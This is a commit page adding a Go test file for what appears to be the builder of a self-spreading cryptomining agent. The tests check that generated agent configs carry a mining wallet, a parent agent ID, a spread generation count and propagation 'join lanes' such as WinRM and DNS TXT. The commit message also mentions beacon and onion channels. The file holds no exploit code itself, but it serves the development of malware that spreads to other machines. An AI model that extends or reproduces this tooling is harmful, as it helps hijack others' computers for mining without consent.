Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
45
server/internal/builder/genealogy_test.go
Normal file
45
server/internal/builder/genealogy_test.go
Normal file
@@ -0,0 +1,45 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestSpreadStrainFromJoinLane(t *testing.T) {
|
||||
got := spreadStrainFromJoinLane("dns_txt")
|
||||
if got == "" || got[0] != '#' || len(got) != 7 {
|
||||
t.Fatalf("unexpected strain: %q", got)
|
||||
}
|
||||
if spreadStrainFromJoinLane("dns_txt") != got {
|
||||
t.Fatal("strain not stable")
|
||||
}
|
||||
if spreadStrainFromJoinLane("winrm") == got {
|
||||
t.Fatal("lanes should differ")
|
||||
}
|
||||
}
|
||||
|
||||
func TestGenerateBuiltinConfigSpreadGenealogy(t *testing.T) {
|
||||
h := &Handler{}
|
||||
req := &BuildRequest{
|
||||
WorkerName: "child",
|
||||
ServerURL: "http://127.0.0.1:8989",
|
||||
Wallet: "4TEST",
|
||||
ParentAgentID: "parent-abc",
|
||||
SpreadGeneration: 2,
|
||||
JoinLane: "winrm",
|
||||
}
|
||||
src := h.generateBuiltinConfig("genealogy-build", req)
|
||||
for _, want := range []string{
|
||||
`ParentAgentID: "parent-abc"`,
|
||||
"SpreadGeneration: 2",
|
||||
`BakedJoinLane: "winrm"`,
|
||||
} {
|
||||
if !strings.Contains(src, want) {
|
||||
t.Fatalf("missing %q in:\n%s", want, src)
|
||||
}
|
||||
}
|
||||
strain := spreadStrainFromJoinLane("winrm")
|
||||
if !strings.Contains(src, `SpreadStrain: "`+strain+`"`) {
|
||||
t.Fatalf("expected baked strain %q in config", strain)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user